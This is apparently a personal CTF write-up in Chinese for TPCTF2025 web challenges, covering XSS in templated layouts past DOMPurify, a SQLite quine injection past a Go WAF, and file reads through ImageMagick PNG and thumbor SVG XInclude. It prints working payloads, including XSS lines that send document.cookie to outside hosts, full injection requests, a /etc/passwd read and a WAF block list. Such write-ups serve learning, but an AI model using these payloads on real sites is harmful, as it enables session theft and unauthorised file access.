TPCTF2025

baby layout

1
2
3
scp -r "C:\Users\baozhongqi\Desktop\baby-layout" root@156.238.233.93:/opt/CTFDocker

docker compose up -d

我看到bot就丁真xss,基本应用代码都是这么写的,flag在cookie里面,再来仔细看看代码

1

直接进行替换,所以拼接绕过

1
2
3
4
5
layout
<img src="{{content}}">

content
x" onerror="alert(114)

发到服务器上面就可以了

1
x" onerror="window.open('http://156.238.233.9:9999/?p='+document.cookie)

别忘了report

1

supersqli

端口占用了,用另一台服务器

1
scp -r "C:\Users\baozhongqi\Desktop\web_deploy" root@156.238.233.93:/opt/CTFDocker

又是sqlite3,并且黑名单还是挺死的那种,经过一番测试,个人认为需要进行密码的更新来获得flag,但是主要文件其实就两个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
package main

import (
"bytes"
"io"
"log"
"mime"
"net/http"
"regexp"
"strings"
)

const backendURL = "http://127.0.0.1:8000"
const backendHost = "127.0.0.1:8000"

var blockedIPs = map[string]bool{
"1.1.1.1": true,
}

var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)

var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)

var hotfixPattern = regexp.MustCompile(`(?i)(select)`)

var blockedUserAgents = []string{
"sqlmap",
"nmap",
"curl",
}

func isBlockedIP(ip string) bool {
return blockedIPs[ip]
}

func isMaliciousRequest(r *http.Request) bool {
for key, values := range r.URL.Query() {
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("参数 %s=%s", key, value)
return true
}
}
}

if r.Method == http.MethodPost {
ct := r.Header.Get("Content-Type")
mediaType, _, err := mime.ParseMediaType(ct)
if err != nil {
log.Printf("解析 Content-Type 失败: %v", err)
return true
}
if mediaType == "multipart/form-data" {
if err := r.ParseMultipartForm(65535); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
} else {
if err := r.ParseForm(); err != nil {
log.Printf("解析 POST 参数失败: %v", err)
return true
}
}

for key, values := range r.PostForm {
log.Printf("POST 参数 %s=%v", key, values)
for _, value := range values {
if sqlInjectionPattern.MatchString(value) {
log.Printf("阻止 SQL 注入: POST 参数 %s=%s", key, value)
return true
}
if rcePattern.MatchString(value) {
log.Printf("阻止 RCE 攻击: POST 参数 %s=%s", key, value)
return true
}
if hotfixPattern.MatchString(value) {
log.Printf("POST 参数 %s=%s", key, value)
return true
}

}
}
}
return false
}

func isBlockedUserAgent(userAgent string) bool {
for _, blocked := range blockedUserAgents {
if strings.Contains(strings.ToLower(userAgent), blocked) {
return true
}
}
return false
}

func reverseProxyHandler(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
if isBlockedIP(clientIP) {
http.Error(w, "Forbidden", http.StatusForbidden)
log.Printf("阻止的 IP: %s", clientIP)
return
}

bodyBytes, err := io.ReadAll(r.Body)

if err != nil {
http.Error(w, "Bad Request", http.StatusBadRequest)
return
}

r.Body = io.NopCloser(bytes.NewBuffer(bodyBytes))

if isMaliciousRequest(r) {
http.Error(w, "Malicious request detected", http.StatusForbidden)
return
}

if isBlockedUserAgent(r.UserAgent()) {
http.Error(w, "Forbidden User-Agent", http.StatusForbidden)
log.Printf("阻止的 User-Agent: %s", r.UserAgent())
return
}

proxyReq, err := http.NewRequest(r.Method, backendURL+r.RequestURI, bytes.NewBuffer(bodyBytes))
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
proxyReq.Header = r.Header

client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}

resp, err := client.Do(proxyReq)
if err != nil {
http.Error(w, "Bad Gateway", http.StatusBadGateway)
return
}
defer resp.Body.Close()

for key, values := range resp.Header {
for _, value := range values {
if key == "Location" {
value = strings.Replace(value, backendHost, r.Host, -1)
}
w.Header().Add(key, value)
}
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
}

func main() {
http.HandleFunc("/", reverseProxyHandler)
log.Println("Listen on 0.0.0.0:8080")
log.Fatal(http.ListenAndServe(":8080", nil))
}

第一层就是这个代理,然后查询语句,起了环境之后一直不知道怎么绕过,后来查到文章,知道如何绕过代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /flag/ HTTP/1.1
Host: 156.238.233.93
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Length: 424

------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="password"; filename="password";
Content-Disposition: form-data; name="password";

' union select 1,2,3 from auth_permission where 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000)))) -- asdf
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN--

1

成功延时了,但是还是无法查询flag,仔细查看代码

1

限制了为admin,有没有办法想mysql一样做到说能够伪造呢

1

类似的这道题,在代码中明确说明了列的创建,password列最多20个字符,这个被称为quine注入,学习一下,简单的说,就是查询语句和查询出来的答案保持一致

1
2
3
select replace('replace(".",char(46),".")',char(46),'.');

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

网上查到的类似poc如下,

1
2
3
4
5
6
7
8
9
admin
'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#


bilala
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

admin
'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#

把代码改改重新起靶机

1
docker stop $(docker ps -aq) && docker rm -f $(docker ps -aq) && docker rmi -f $(docker images -q)

看到结果之后把payload改改这道题就可以出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /flag/ HTTP/1.1
Host: 1.95.159.113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Length: 424

------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN
Content-Disposition: form-data; name="password"; filename="password";
Content-Disposition: form-data; name="password";

1' union select 1,2,replace(replace('1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")-- ',char(34),char(39)),char(46),'1" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")-- ')--
------WebKitFormBoundaryYvbD7Ke5rzcVI8sN--

safe layout

1
scp -r "C:\Users\baozhongqi\Desktop\safe-layout" root@156.238.233.93:/opt/CTFDocker

唯一的区别就是

1
2
3
const sanitizedContent = DOMPurify.sanitize(content, { ALLOWED_ATTR: [] });

const sanitizedLayout = DOMPurify.sanitize(layout, { ALLOWED_ATTR: [] });

不允许使用html属性了,但是data还可以使用,看到下一题发现确实是预期解

1
2
3
4
5
6
7
8
layout:
<img data-id="{{content}}">


content:
x" src="x" onerror="alert(114)

x" src="x" onerror="window.open('http://156.238.233.9:9999/?p='+document.cookie)

safe layout revenge

1
scp -r "C:\Users\baozhongqi\Desktop\safe-layout-revenge" root@156.238.233.93:/opt/CTFDocker
1
2
3
4
5
6
7
8
9
10
11
const sanitizedContent = DOMPurify.sanitize(content, {
ALLOWED_ATTR: [],
ALLOW_ARIA_ATTR: false,
ALLOW_DATA_ATTR: false,
});

const sanitizedLayout = DOMPurify.sanitize(layout, {
ALLOWED_ATTR: [],
ALLOW_ARIA_ATTR: false,
ALLOW_DATA_ATTR: false,
});
  • ALLOWED_ATTR: []:禁止所有 HTML 属性
  • ALLOW_ARIA_ATTR: false:显式禁止 ARIA 属性
  • ALLOW_DATA_ATTR: false:显式禁止 data-* 自定义属性

要绕过这个的话,找到两篇文章 编码差异 类似的题目 看不懂,快哉快哉~,鸡毛的一点用没有,编码被限制的死死的,使用style标签来进行逃逸,起始的 asdf 用于干扰 HTML 解析规则

1
asdf<style><{{content}}/style><<{{content}}script>fetch("http://156.238.233.9:9999/?p="+document.cookie)<{{content}}/script>test</style>

还可以用math来腾出<style> math标签 今天看了一下,我貌似是懂了如何来进行逃逸,首先我们利用{{content}}来进行一个混淆,使得本来作为闭合标签的东西变成一个没用的东西,那我们也可以在其中插入,但是由于会重新把{{content}}置空,并且可以正常解析,也就插入了恶意payload,math来进行逃逸的poc为

1
2
3
4
5
6
<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
<!{{content}}\${<{{content}}/style><{{content}}img src=x onerror="window.open('https://aojveb29.requestrepo.com/?p='+document.cookie)">
</style>
}
<foo-b id="><img src onerror='alert(1)'>">hmm...</foo-b></a></table></li></mi></foo-test></math>

这么看XSS貌似也挺好玩的

remake

are-you-incognito

1
scp -r "C:\Users\baozhongqi\Desktop\are-you-incognito" root@156.238.233.93:/opt/CTFDocker

没看懂,出题人WP

thumbor 1

先启动先看看

1
2
3
docker build -t thumbor1 .
docker run -d --name thumbor1_container -p 8800:8800 thumbor1
docker exec -it 1a9ca454a879 /bin/bash

拿到源码再说,额,发现这样子拿到的源码有问题,所以直接运行命令好像更好使?原来我找错了,但是地方确实是ImageMagick,是Z3师傅给我说的,但是我版本还是找错了,文章1 文章2

1
2
3
pip install pypng
./poc.py generate -o poc.png -r /etc/passwd
python3 poc.py parse -i ans.png

1

复现成功,但是对于本题,起好docker之后我们进入docker来找一下路由先,根本看不懂😭,问GPT,知道访问/healthcheck,如果 thumbor 正常工作,它应该返回 WORKING。我们的目的是找路由,在这里面有好多地方,所以思索了一下还是写个命令来进行检索

1
grep -Erni "route|url|handler|add_handler|path" .

1

知道路由之后我们就可以把文件来整一下了,并且也知道了格式,可以尝试一下

1
http://156.238.233.93:8800/thumbor/unsafe/http://156.238.233.9/poc.png

成功了,重新制作一个png来打

1
2
./poc.py generate -o poc.png -r /flag
python3 poc.py parse -i ans.png

没读到flag,换种办法来试试

1
2
3
4
pngcrush -text a "profile" "/flag" poc.png
identify -verbose ans2.png

scp -r -P 8776 "C:\Users\baozhongqi\Desktop\pngout.png" root@156.238.233.9:/var/www/html/

1

1
2
text="54504354467b2e2e2e7d0a"
print(bytes.fromhex(text).decode("utf-8"))

1

然后打了一遍靶机也拿到flag了

thumbor 2

1
2
3
docker build -t thumbor2 .
docker run -d --name thumbor2_container -p 8888:8888 thumbor2
docker exec -it e12407bb5a87 /bin/bash

文章 不是哥们xxe还可以这么玩啊?

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8" standalone="no"?>  
<svg width="1000" height="1000" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="600" height="600" style="fill:rgb(255,255,255);" />
<text x="10" y="100">
<xi:include href=".?../../../../../../../../etc/passwd" parse="text"
encoding="UTF-8">
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>

1

读flag就好了